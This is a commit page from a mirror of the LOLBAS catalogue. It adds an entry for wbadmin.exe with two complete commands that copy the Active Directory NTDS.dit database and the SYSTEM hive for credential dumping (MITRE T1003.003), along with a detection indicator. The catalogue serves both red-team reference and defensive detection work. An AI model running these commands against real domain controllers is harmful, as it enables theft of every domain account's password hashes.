mirror/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-09-19 18:24:02 +02:00
Code Issues

Create wbadmin (#364)

Browse Source 
Co-authored-by: Wietze <wietze@users.noreply.github.com>
This commit is contained in:
irEasty 2024-04-05 19:38:21 +01:00 committed by GitHub
parent aea7bd082d
commit fc23c999e6
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 26 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

26
yml/OSBinaries/Wbadmin.yml Normal file
View File

@ -0,0 +1,26 @@
---
Name: wbadmin.exe
Description: Windows Backup Administration utility
Author: Chris Eastwood
Created: 2024-04-05
Commands:
- Command: wbadmin start backup -backupTarget:C:\temp\ -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
Description: Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
Usecase: Snapshoting of Active Directory NTDS.dit database
Category: Dump
Privileges: Administrator, Backup Operators, SeBackupPrivilege
MitreID: T1003.003
OperatingSystem: Windows Server
- Command: wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:C:\temp -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
Description: Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.
Usecase: Dumping of Active Directory NTDS.dit database
Category: Dump
Privileges: Administrator, Backup Operators, SeBackupPrivilege
MitreID: T1003.003
OperatingSystem: Windows Server
Full_Path:
- Path: C:\Windows\System32\wbadmin.exe
Detection:
- IOC: wbadmin.exe command lines containing "NTDS" or "NTDS.dit"
Resources:
- Link: https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960